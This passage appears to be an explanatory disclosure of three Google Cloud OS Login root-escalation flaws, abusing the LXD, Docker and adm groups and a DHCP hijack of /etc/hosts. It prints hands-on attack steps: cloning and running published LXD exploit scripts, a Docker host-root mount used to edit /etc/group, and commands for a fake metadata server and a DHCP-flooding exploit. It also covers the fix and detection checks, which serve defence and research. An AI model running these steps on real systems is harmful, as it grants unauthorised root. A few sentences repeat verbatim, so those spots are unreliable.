This check covers more than the compute.osLogin role. If the instance was created with an attached service account, the user also needs permission to act as that service account, and without it the response would be false.
The google_authorized_keys binary then returns code 0 to the SSH daemon along with the user's public keys. A return code of 0 conventionally means success. The SSH daemon loads pam_oslogin_login.so, which makes the same two HTTP calls; on success an empty file is created at /var/google-users.d/lowpriv_not_real_com, apparently used only in rare error conditions on later logon attempts.
Next, pam_oslogin_admin.so performs a query:
curl "http://metadata.[redacted]/computeMetadata/v1/oslogin/authorize?email=[NAME-VALUE]&policy=adminLogin" \
-H "Metadata-Flavor: Google"
- Same shape as before, but now
policy=adminLogin: "is this user authorised to be an administrator?".
For the non-administrative user the response is:
{"success":false}
Had the account held compute.osAdminLogin, the server would return true and a file named after the username would be placed in /var/google-sudoers.d containing:
[USERNAME] ALL=(ALL:ALL) NOPASSWD: ALL
This is a sudoers rule. It says: this user may run any command, as any user and any group, without a password. That would permit the user to run any command as root.
Finally, pam_group.so reads /etc/security/group.conf, whose relevant line is:
sshd;*;*;Al0000-2400;adm,dip,docker,lxd,plugdev,video
The syntax is services;ttys;users;times;groups. In plain words: for the sshd service, for any terminal, for any user, at any time of day, add the user to these groups. So ALL users authenticating via SSH are assigned to these groups, regardless of whether they hold compute.osLogin or compute.osAdminLogin. The logon ends with the user in a normal shell environment.
To observe the internals, the following can be run from an administrative session while a logon takes place:
# See the raw HTTP packets to and from the metadata server
sudo tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' -i ens4
# See the system calls made by the SSH daemon
sudo strace -ff -s 10000 -p [PID of sshd]
# Watch file access in the user cache
sudo inotifywait -r -m /var/google-*
tcpdumprecords network traffic. The long filter expression selects TCP packets on port 80 that actually carry data (the arithmetic strips out packets with empty payloads).-i ens4picks the network interface.-Aprints the payload as text, so you can read the HTTP requests.straceprints every system call a program makes, which shows exactly which files and network connections the SSH daemon touches.-p [PID of sshd]attaches to the running SSH daemon.inotifywaitwatches a directory and prints every time a file inside it is opened or changed.-rmeans recursive,-mmeans keep watching.
The three attacks
Attack 1: becoming root through LXD (CVE-2020-8933)
LXD is a tool for running containers on Linux. A container is a lightweight, isolated mini-system that shares the host's kernel but has its own files and processes. It is a bit like a shipping container: a self-contained box that can hold anything, sitting on a shared ship. LXD is installed by default on Ubuntu, and it listens on a Unix socket (a local communication channel) that grants write permissions to the lxd group.
Because every OS Login user is placed in the lxd group, every OS Login user can talk to LXD. The researcher had previously written about this in detail and published two working exploits, which are run against a container created with LXD. The researcher had previously written about this in detail and published two working exploits.
# Observe we are not root
sudo id
# Initialize lxd
lxd init
# Create a container
lxc launch images:alpine/edge ecorp
# Clone my exploit repository with git
git clone https://gitlab.com/initstring/lxd_root && cd lxd_root
# Run either of the exploits
bash ./lxd_rootv1.sh ecorp # should really work on all systems
python3 ./lxd_rootv2.py ecorp # for systemd-based systems only
# Observe we are now root
sudo id
Line by line:
sudo idfirst confirms the starting position: the command runs, but it does not printuid=0, so we are not root yet.lxd initprepares LXD for first use, creating its storage and network configuration.lxc launch images:alpine/edge ecorpstarts a new container namedecorpfrom a small Linux image called Alpine.lxcis the command-line client for LXD.git clone https://gitlab.com/initstring/lxd_root && cd lxd_rootdownloads the researcher's exploit scripts and moves into the downloaded folder.gitis a version-control tool;clonecopies a whole repository.bash ./lxd_rootv1.sh ecorpruns the first exploit script against the container. The comment says it should work on all systems.python3 ./lxd_rootv2.py ecorpruns the second, which the comment says is for systemd-based systems only (systemd is the standard service manager on most modern Linux distributions).- The final
sudo idconfirms the result: it now printsuid=0.
Attack 2: becoming root through Docker (CVE-2020-8907)
Docker is the most widely used container tool. It is similar in spirit to LXD: you ask it to run a container, and the container is isolated from the rest of the system. All OS Login users who authenticate via SSH are also added to the local docker group. Docker is not installed by default on any OS Login-compatible compute images, so only systems that have intentionally installed Docker are vulnerable to this vector. Members of the group have multiple escalation methods, and the official documentation states that the docker group grants privileges equivalent to the root user.
The trick here is simpler than with LXD. Docker lets you mount a directory from the host into the container. If you mount the host's root directory / into the container at /mnt/host, then inside the container you can edit the host's files directly. The attacker edits the host's group file to add their own username to the google-sudoers line. Then they log out and back in, and the change takes effect.
# Observe we are not root
sudo id
# Mount the host OS into a new Docker container and access an interactive shell
docker run -v /:/mnt/host -ti alpine:latest
# Edit the groups file
vi /mnt/host/etc/group
# Find the line for "google-sudoers' and add your low privilege OS Login username to the end
# Exit from the docker container and from the host shell
exit
exit
# SSH back into the box
ssh -i ~/.ssh/id_rsa lowpriv_notreal_com@[INSTANCEIP]
# Observe we are members of google-sudoers
groups
# Observe we are root
sudo id
Line by line:
sudo idagain confirms we are not root at the start.docker run -v /:/mnt/host -ti alpine:lateststarts a container from the Alpine image.-v /:/mnt/hostmounts the host's/at/mnt/hostinside the container.-tigives an interactive terminal, so you get a shell prompt inside the container.vi /mnt/host/etc/groupopens the host's group file in a text editor. Because of the mount, this is the real host file, not a copy.- The comment explains what to do: find the line for
google-sudoersand add the low-privilege username to the end of it. That line lists the users who may usesudo. - The two
exitcommands leave the container shell and then the host shell. ssh -i ~/.ssh/id_rsa lowpriv_notreal_com@[INSTANCEIP]reconnects to the instance. Reconnecting matters because group membership is read at login time.groupsprints the groups the current user belongs to, confirminggoogle-sudoersis now among them.sudo idconfirms the result: root.
Attack 3: becoming root by hijacking the metadata server (CVE-2020-8903)
This is the new and most interesting one. All OS Login users who authenticate via SSH are also added to the local adm group. Despite the name, that group is not granted administrative rights; per the Debian wiki, it is used for system monitoring tasks, and members can read many log files in /var/log and use xconsole.
Reading logs does not sound dangerous, but it is the first link in a chain. Compute instances in GCP use DHCP to configure their network interface. DHCP is the protocol by which a machine asks the local network "please give me an IP address and tell me where the router is". Seven of the images Google provides implement the dhclient binary (the standard DHCP client) in such a way that the DHCP transaction ID (xid) is recorded in system logs. With this xid, a local attacker can hijack the DHCP conversation and trick the local host into accepting arbitrary networking information.
Google provides a custom DHCP exit hook (a script that runs automatically after a DHCP exchange) that acts on this information. It can be abused to write arbitrary entries to /etc/hosts, the file that maps names to IP addresses and is consulted before any DNS lookup. As the logon process shows, metadata.google.com is queried over HTTP to decide whether OS Login users get administrative rights at logon. HTTP makes no attempt to validate the identity of the server, so a hosts entry pointing at an attacker-controlled metadata server is enough. With such a server, the exploit simply flips a false to true to grant the non-administrative account permission to run commands as root.
How DHCP works inside GCP
DHCP lets devices dynamically obtain configuration such as an IP address, a host name and a default route. A typical conversation is a four-way handshake, and before it starts the client generates a random four byte integer called a transaction ID (xid) used to correlate transactions:
- DHCP DISCOVER: a client sends a UDP broadcast looking for DHCP servers, including a new random xid.
- DHCP OFFER: a server sends a UDP unicast with a proposed configuration, including a xid matching the DISCOVER.
- DHCP REQUEST: the client sends a UDP unicast with the configuration it would like, including a xid matching the OFFER.
- DHCP ACK: the server sends a UDP unicast acknowledging the allocation, including a xid matching the REQUEST.
A useful comparison: a customer in a shop. DISCOVER is "is anyone serving?". OFFER is "yes, here is what I can give you". REQUEST is "I'll take that, please". ACK is "done, it's yours". The xid is like a ticket number written on every message, so both sides can tell which conversation a message belongs to.
After step four the client reconfigures itself with the ACK parameters, then repeats steps three and four regularly, generally every 30 minutes or so, reusing the same xid. A new xid is generated only when a service restart or network failure restarts the whole cycle. The networking info in a REQUEST need not match the OFFER, and the info in an ACK need not match the REQUEST: as long as the ACK carries the correct xid, it is trusted to dictate the final terms.
Google does not implement its own DHCP client for Linux guest images, but the standard clients cannot work exactly as on a legacy network, or any other compute instance could answer DISCOVER broadcasts. Google's VPC implementation (the virtual network that connects instances) blocks all broadcast traffic between user-controlled instances, silently swallowing it, while each instance's dedicated metadata server receives the broadcasts and responds. That is how only the metadata server can answer requests for IP configuration.
But a client will trust a DHCP ACK as long as it contains the random xid sent in its initial DISCOVER. dhclient is used by many GCP compute images, and on successful completion of a DHCP operation it executes scripts in /etc/dhcp/dhclient-exit-hooks.d/. Google provides google_set_hostname there, which adds an entry to /etc/hosts based on the hostname and IP address from the DHCP ACK. The relevant lines:
if [ -n "$new_host_name" ] && [ -n "$new_ip_address" ]; then
# Delete entries with new_host_name or new_ip_address in /etc/hosts.
sed -i"" '/Added by Google/d' /etc/hosts
# Add an entry for our new_host_name/new_ip_address in /etc/hosts.
echo "${new_ip_address} ${new_host_name} ${new_host_name%%.*} # Added by Google" >> /etc/hosts
# Add an entry for reaching the metadata server in /etc/hosts.
echo "[redacted] metadata.[redacted] # Added by Google" >> /etc/hosts
fi
Line by line:
if [ -n "$new_host_name" ] && [ -n "$new_ip_address" ]; thenchecks that both a hostname and an IP address were supplied.-nmeans "is not empty".&&means "and".sed -i"" '/Added by Google/d' /etc/hostsdeletes every line in/etc/hoststhat contains the textAdded by Google, so old entries are cleaned up before new ones are added.echo "${new_ip_address} ${new_host_name} ..." >> /etc/hostsappends a new line mapping the supplied IP address to the supplied hostname.>>means "append to the end of the file".echo "[redacted] metadata.[redacted] # Added by Google" >> /etc/hostsappends the legitimate metadata server entry.ficloses theifblock.
The if condition matters: a new hosts entry is written ONLY when the ACK contains both a hostname and an IP address, and an ACK can contain only one of the two.
The exploit
Exploitation on an Ubuntu 16.04 instance is automated by two Go programs. Go is a programming language.
fakeMeta.go: the fake metadata server the client is tricked into trusting. TheuserDatavariable needs to be customised before use.privesc.go: the exploit that escalates privileges on the target.
Before the attack, the target's hosts file looks like this:
[redacted] localhost
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
[redacted] metadata.[redacted] metadata
[redacted] ubuntu16.c.[redacted] ubuntu16 # Added by Google
[redacted] metadata.[redacted] # Added by Google
This file is a list of lines, each mapping an address to one or more names. [redacted] localhost means "the name localhost is this machine itself". The ::1 and fe00:: lines are the IPv6 equivalents. [redacted] metadata.[redacted] metadata maps the metadata server's address to its name. [redacted] ubuntu16... is the instance's own address and name. The last line is the one Google's hook added.
First, the fake metadata server is launched on a machine fully under your control, reachable on port 80 from the target:
sudo ./fakeMeta
sudoruns the program with administrator rights, and./fakeMetaruns the compiled program in the current directory../fakeMetaruns the compiled program in the current directory.
Then the target is accessed over SSH with an account holding only compute.osLogin. Assuming the rogue server runs at [redacted] and the target's primary ethernet device is ens4 with IP [redacted]:
./privesc -rogue [redacted] -dev ens4
-rogue [redacted]tells the exploit where the fake metadata server is.-dev ens4tells it which network interface to send packets on.
The exploit uses journalctl (the tool for reading the system log) to find the most recent DHCP xid in the system log, then floods the host with DHCP ACK packets carrying that xid and this configuration:
- hostname: metadata.[redacted]
- IP address: [redacted]
- lease time: 10 seconds
A lease is how long the client may keep the address before it must ask again. Ten seconds is deliberately short, so the client will come back quickly.
Nothing happens immediately; the flood is ignored. Eventually the host renews its lease, sending a DHCP REQUEST directly to [redacted] asking for its existing configuration, with the same xid the exploit extracted. The host then waits for an ACK. Because it is already flooding itself with ACKs carrying that xid, one malicious packet is processed before the metadata server can reply; it is simply faster and won the race in all tests performed. DHCP clients do not care that the ACK contains configuration completely different from what was requested; all that matters is the xid.
The google_set_hostname hook runs. Because the ACK contains both a hostname and an IP address, the if evaluates true and a new line is written, leaving the hosts file like this:
[redacted] localhost
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
[redacted] metadata.[redacted] metadata
[redacted] metadata.[redacted] metadata # Added by Google
[redacted] metadata.[redacted] # Added by Google
The new line [redacted] metadata.[redacted] metadata is the injected one. It says: the name metadata.[redacted] now points at the attacker's server.
The client reconfigures its local IP to [redacted], which breaks networking and pauses the SSH connection. The exploit detects the change, stops the first flood, and starts flooding ACKs with:
- hostname: (NONE! NO HOSTNAME WILL BE SENT)
- IP address: [redacted] (the original correct IP of the target instance)
- lease time: 18000 seconds
Because the first lease was only 10 seconds, the client quickly tries to renew using the same xid, this time sending the request to itself rather than the legitimate metadata server, since that is where it last received a valid ACK. Again a flooded packet is processed. The hook runs, but the if evaluates false because no hostname is present, so the arbitrary line written earlier remains. The interface is reconfigured with the correct IP, networking resumes and the SSH session becomes available again.
The hosts file now reads:
[redacted] metadata.[redacted] metadata
[redacted] metadata.[redacted] metadata # Added by Google
[redacted] metadata.[redacted] # Added by Google
One might think this is a dead end, since hosts files are processed sequentially and the injected value sits between two legitimate entries. It is not: addresses beginning with 169.254 are link-local and are given lower priority when attempting actual network communications. A link-local address is one that is only meaningful on the local network segment, not routable across the internet, and the operating system prefers routable addresses when both are available. The client will not renew its lease for another five hours, leaving time to act.
Exiting the SSH session and reconnecting with the same non-administrative account triggers the following:
- The instance does an HTTP GET to
http://metadata.[redacted]/computeMetadata/v1/oslogin/users?username=lowpriv_notreal_com. The hosts entry for [redacted] is used, the fake metadata server processes the query and replies with the account information added to its source code. - The instance does another HTTP GET to
http://metadata.[redacted]/computeMetadata/v1/oslogin/authorize?email=xxx&policy=login. The fake server responds with{"success":true}. - The instance does another HTTP GET to
http://metadata.[redacted]/computeMetadata/v1/oslogin/authorize?email=xxx&policy=adminLogin.
Step three is the goal: the instance believes the account is authorised to execute commands as root and adds it to the google-sudoers group. Running sudo id then returns:
uid=0(root) gid=0(root) groups=0(root)
Why it worked
The researcher's recommendation to Google was to stop adding OS Login users to unnecessary groups, which would prevent exploitation of all the vulnerabilities. The google_oslogin_control script writes sshd;*;*;Al0000-2400;adm,dip,docker,lxd,plugdev,video to /etc/security/group.conf, and pam_group.so applies it to all SSH users regardless of IAM role. Membership of lxd and docker is effectively root on systems where those tools are installed, and membership of adm gives read access to system logs, which is what exposes the DHCP xid.
The metadata hijack relies on the DHCP client trusting any ACK carrying the correct xid, and on the google_set_hostname exit hook writing the hostname and IP values from the ACK into /etc/hosts. Because the OS Login admin check is an HTTP query to metadata.[redacted] and HTTP makes no attempt to validate the server's identity, a hosts entry pointing that name at an attacker-controlled server is enough to forge the adminLogin response. Addresses beginning with 169.254 are link-local and are given lower priority when attempting actual network communications, so the injected entry is used despite its position in the file.
What an attacker could do
All three issues let a user with only the compute.osLogin IAM role obtain root on the compute instance, executing commands as the root user. The LXD vector applies to any Linux system with LXD installed, and Ubuntu systems come with LXD installed by default. The Docker vector applies only where Docker has been intentionally installed. The DHCP hijack applies to images that record the DHCP transaction ID in system logs; at the time of reporting these were:
- GCP "Ubuntu 16.04" LTS
- GCP "Ubuntu 16.04" minimal LTS
- GCP "Red Hat Enterprise Linux 7"
- GCP "CentOS 7"
- GCP "RHEL 7.4 for SAP"
- GCP "RHEL 7.6 for SAP"
- GCP "RHEL 7.7 for SAP"
Any Linux system with Docker or LXD installed was vulnerable to group abuse, and Ubuntu systems came with LXD by default, making all of those images vulnerable before the fix. Prior to being fixed, the vulnerabilities were exploitable only by someone who had already obtained access to a compute instance via the compute.osLogin IAM role.
The fix
The recommendation to Google was to modify the google_oslogin_control script to stop adding users to unnecessary groups, which would prevent exploitation of all the vulnerabilities above. This was completed in the pull request "Remove OS Login users from admin groups".
All newly deployed compute instances include the fixed packages and no action is required. Existing instances should apply updates through their standard package managers. Some instances with OS Login already enabled may need to edit /etc/security/group.conf to exclude adm, lxd and docker from the # Added by Google Compute Engine OS Login section.
How to check your own systems
- Check
/etc/security/group.confon any OS Login-enabled instance for thesshd;*;*;Al0000-2400;...line. A positive result is any privileged group such aslxd,dockeroradmbeing applied to all SSH users. - On a host where the low-privilege account is a member of
lxd, runlxd initandlxc launchand attempt the published exploit scripts. A positive result issudo idreturninguid=0(root). - On a host with Docker installed, run
docker run -v /:/mnt/host -ti alpine:latestand try to edit/mnt/host/etc/group. A positive result is being able to add your username togoogle-sudoersand then obtaining root after reconnecting. - Check whether the DHCP xid appears in the system log (for example via
journalctl) on the target image. A positive result is a recoverable xid that can be replayed in forged ACK packets. - Inspect
/etc/dhcp/dhclient-exit-hooks.d/google_set_hostnamefor theif [ -n "$new_host_name" ] && [ -n "$new_ip_address" ]condition. A positive result is a hook that writes unvalidated hostname and IP values into/etc/hosts. - After injecting a hosts entry, resolve
metadata.[redacted]and confirm which address is used. A positive result is the injected address being preferred over the legitimate [redacted] entry. - Point the OS Login admin check at a controlled HTTP server and observe whether the client accepts a forged
{"success":true}forpolicy=adminLogin. A positive result is the account being added togoogle-sudoerswithout holdingcompute.osAdminLogin.
Glossary
- API: a fixed way for one program to ask another to do something, like a menu of allowed requests and the format of the answers.
- Broadcast: a network message sent to every device on the local network at once.
- CVE: a public identifier for a specific security flaw, so people can refer to it unambiguously.
- Container: a lightweight, isolated mini-system that shares the host's kernel but has its own files and processes.
- DHCP: the protocol by which a machine asks the local network for an IP address and related settings.
- DHCP ACK: the final message in a DHCP exchange, in which the server confirms the configuration.
- DHCP exit hook: a script that runs automatically after a DHCP exchange completes.
- Docker: a widely used tool for running containers.
- gcloud: Google's command-line tool for managing Google Cloud resources.
- Group (Linux): a named collection of users that share permissions.
- Hosts file (
/etc/hosts): a local file mapping names to IP addresses, consulted before any DNS lookup. - HTTP: the protocol browsers and programs use to request and receive web content.
- IAM: Identity and Access Management, the part of a cloud provider that decides who may do what.
- JSON: a text format for structured data, using curly braces and quoted names.
- Lease (DHCP): how long a client may keep an assigned address before it must ask again.
- Link-local address: an address meaningful only on the local network segment, not routable across the internet, and given lower priority than routable addresses.
- LXD: a tool for running containers on Linux, installed by default on Ubuntu.
- Metadata server: a special internal service at
[redacted]that answers questions about the instance itself. - OS Login: Google Cloud's feature for managing SSH access to compute instances through IAM roles.
- PAM: Pluggable Authentication Modules, the framework Linux uses to run checks during a login.
- Private key / public key: a mathematically linked pair; the public half is shared, the private half is kept secret and proves your identity.
- Proxy: a middleman that forwards a request to another service and returns the answer.
- Role (IAM): a named bundle of permissions that can be given to a person or service.
- Root: the all-powerful administrator account on Linux, with user ID zero.
- Service account: a Google identity belonging to a program rather than a person.
- SSH: the standard encrypted protocol for opening a terminal on a remote computer.
- SSH daemon (
sshd): the server-side program that accepts SSH connections. - sudo: a program that runs a single command with administrator rights.
- sudoers: the configuration that lists who may use
sudoand for what. - Transaction ID (xid): a random number written on every DHCP message so both sides can match a reply to its request.
- UDP: a simple network protocol that sends individual messages without a connection.
- Unicast: a network message sent to one specific device.
- VPC: Google's virtual private network that connects compute instances.
- VRP: Google's Vulnerability Reward Program, its bug bounty programme.